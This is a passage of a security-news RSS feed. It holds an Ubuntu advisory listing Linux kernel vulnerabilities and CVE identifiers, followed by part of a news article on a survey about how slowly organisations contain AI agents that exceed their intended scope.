CVE-2026-46193, CVE-2026-46194, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46273, CVE-2026-46274, CVE-2026-46280,
CVE-2026-46282, CVE-2026-46285, CVE-2026-46286, CVE-2026-46287,
CVE-2026-46291, CVE-2026-46292, CVE-2026-46293, CVE-2026-46294,
CVE-2026-46296, CVE-2026-46299, CVE-2026-46301, CVE-2026-46303,
CVE-2026-46304, CVE-2026-46306, CVE-2026-46307, CVE-2026-46312,
CVE-2026-46314, CVE-2026-46319, CVE-2026-52911, CVE-2026-52920,
CVE-2026-52925, CVE-2026-52933, CVE-2026-52936, CVE-2026-52951,
CVE-2026-52954, CVE-2026-52955, CVE-2026-52957, CVE-2026-52958,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52967, CVE-2026-52968, CVE-2026-52969, CVE-2026-52970,
CVE-2026-52974, CVE-2026-52975, CVE-2026-52977, CVE-2026-52981,
CVE-2026-52982, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52989, CVE-2026-52990, CVE-2026-52992, CVE-2026-52993,
CVE-2026-52995, CVE-2026-52998, CVE-2026-52999, CVE-2026-53001,
CVE-2026-53002, CVE-2026-53003, CVE-2026-53004, CVE-2026-53006,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
CVE-2026-53035, CVE-2026-53036, CVE-2026-53037, CVE-2026-53039,
CVE-2026-53040, CVE-2026-53041, CVE-2026-53043, CVE-2026-53045,
CVE-2026-53046, CVE-2026-53047, CVE-2026-53048, CVE-2026-53049,
CVE-2026-53050, CVE-2026-53052, CVE-2026-53056, CVE-2026-53058,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53063, CVE-2026-53064, CVE-2026-53065, CVE-2026-53066,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53076,
CVE-2026-53077, CVE-2026-53082, CVE-2026-53083, CVE-2026-53084,
CVE-2026-53085, CVE-2026-53086, CVE-2026-53088, CVE-2026-53093,
CVE-2026-53094, CVE-2026-53096, CVE-2026-53097, CVE-2026-53098,
CVE-2026-53110, CVE-2026-53111, CVE-2026-53112, CVE-2026-53115,
CVE-2026-53117, CVE-2026-53122, CVE-2026-53123, CVE-2026-53126,
CVE-2026-53128, CVE-2026-53130, CVE-2026-53279, CVE-2026-53287,
CVE-2026-53289, CVE-2026-53291, CVE-2026-53293, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53303, CVE-2026-53304,
CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8575-1: Linux kernel vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3683348/unix-server/usn-8575-1-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683348/unix-server/usn-8575-1-linux-kernel-vulnerabilities/</guid>
<pubDate>Tue, 21 Jul 2026 12:16:01 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
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<title><![CDATA[IT leaders confident but cooked when it comes to rogue AI agents]]></title>
<description><![CDATA[A large majority of IT and security leaders are confident in their teams’ ability to detect when an AI agent has gone rogue, but few are able to take quick action to mitigate the fallout when an agent exceeds its intended scope.



Nine in 10 IT and security leaders surveyed by IT observability v...]]></description>
<link>https://tsecurity.de/de/3683326/it-security-nachrichten/it-leaders-confident-but-cooked-when-it-comes-to-rogue-ai-agents/</link>
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<pubDate>Tue, 21 Jul 2026 12:09:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">A large majority of IT and security leaders are confident in their teams’ ability to detect when an AI agent has gone rogue, but few are able to take quick action to mitigate the fallout when an agent exceeds its intended scope.</p>



<p class="wp-block-paragraph">Nine in 10 IT and security leaders surveyed by <a href="https://www.cio.com/article/4176067/the-ai-governance-imperative-you-cant-afford-to-ignore.html?utm=hybrid_search">IT observability</a> vendor WanAware believe in their capabilities to find malfunctioning agents, but only 26% acknowledge that they can trace the downstream impact within minutes. Over 45% say it would take hours to understand the full impact of an agent incident.</p>



<p class="wp-block-paragraph">That delay between detection and mitigation can be a huge problem, says <a href="https://www.linkedin.com/in/jmcollins/">Jeffrey Collins</a>, WanAware’s CEO. The survey suggests IT leaders are overconfident about their ability to control agents, he adds.</p>



<p class="wp-block-paragraph">And here, timing is critical, Collins says, given that malfunctioning agents can lead to major outages and data breaches — damage that can start within seconds, he notes.</p>



<p class="wp-block-paragraph">“That’s truly the gap here. It’s not if you understand it; it’s when you understand it,” Collins says. “If your average time to just knowing about an event is measured in days, weeks, or months, you have a serious problem right now.”</p>



<p class="wp-block-paragraph">While it’s not always easy to tell whether an agent has gone beyond its scope, it’s even harder to tell the downstream impacts, he adds.</p>



<p class="wp-block-paragraph">“What’s been affected if one machine was compromised, either from our own AI usage as a customer or from someone else’s, what else could happen, and how can we understand that quickly?” Collins asks.</p>



<h2 class="wp-block-heading">Machine speed</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kevin-paige-578547a/">Kevin Paige</a>, field CISO at IT solutions provider C1, agrees that time is of the essence when an AI agent malfunctions.</p>



<p class="wp-block-paragraph">“The problem is that agents move at machine speed, so the gap between an agent malfunctioning and you catching it isn’t measured in minutes, it’s measured in actions,” he says. “Every minute it’s wrong it’s still working, and because it’s usually running on borrowed standing credentials, the damage spreads across everything those credentials can reach before anyone can pin it on the agent.”</p>



<p class="wp-block-paragraph">In many cases, organizations with rogue agents don’t find out from their <a href="https://www.cio.com/article/4195251/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs.html">own detection tools</a>, but from customers, auditors, or broken downstream systems, he says.</p>



<p class="wp-block-paragraph">“That’s the worst way to learn,” Paige adds. “The longer-term cost is trust, because one incident like that and the business pulls back on agents entirely, so failing to contain a malfunction fast is also what stalls adoption.”</p>



<p class="wp-block-paragraph">The problem with detecting <a href="https://www.cio.com/article/4127774/1-5-million-ai-agents-are-at-risk-of-going-rogue-2.html?utm=hybrid_search">rogue agents</a> is that many organizations have built in visibility but not control, he says.</p>



<p class="wp-block-paragraph">“When an agent goes out of scope it’s rarely dramatic,” Paige adds. “Usually, it’s using access it legitimately has, for a purpose nobody signed off on, which means your access model doesn’t even flag it. So you find out after the fact, and you fix it by hand.”</p>



<p class="wp-block-paragraph">IT teams can stop agents that exceed their scope, but only if controls were built in before the agent was deployed, adds <a href="https://www.linkedin.com/in/chrisdcamacho/">Chris Camacho</a>, COO of Abstract Security.</p>



<p class="wp-block-paragraph">“Every agent should have its own identity, narrowly scoped permissions, and a complete audit trail,” he says. “Just as important, organizations need the ability to immediately revoke that identity or suspend the agent without manually hunting through multiple consoles during an incident.”</p>



<p class="wp-block-paragraph">Part of the challenge is that an agent’s activity is spread across identities, cloud platforms, SaaS applications, APIs, and security tools that were not designed to tell a complete story, Camacho says. Security teams often have to piece together events from multiple basic questions such as, what did the agent access, and what changed?</p>



<p class="wp-block-paragraph">“Most organizations know where they’ve deployed AI agents,” he adds. “That’s very different from knowing exactly what an agent did after something unexpected happens.”</p>



<p class="wp-block-paragraph">The organizations that most successfully manage agents won’t be the ones that deploy the most, he says. “They’ll be the ones that can explain every action an agent took, prove it operated within policy, and stop it immediately when it doesn’t,” he adds.</p>



<h2 class="wp-block-heading">Confidence isn’t reality</h2>



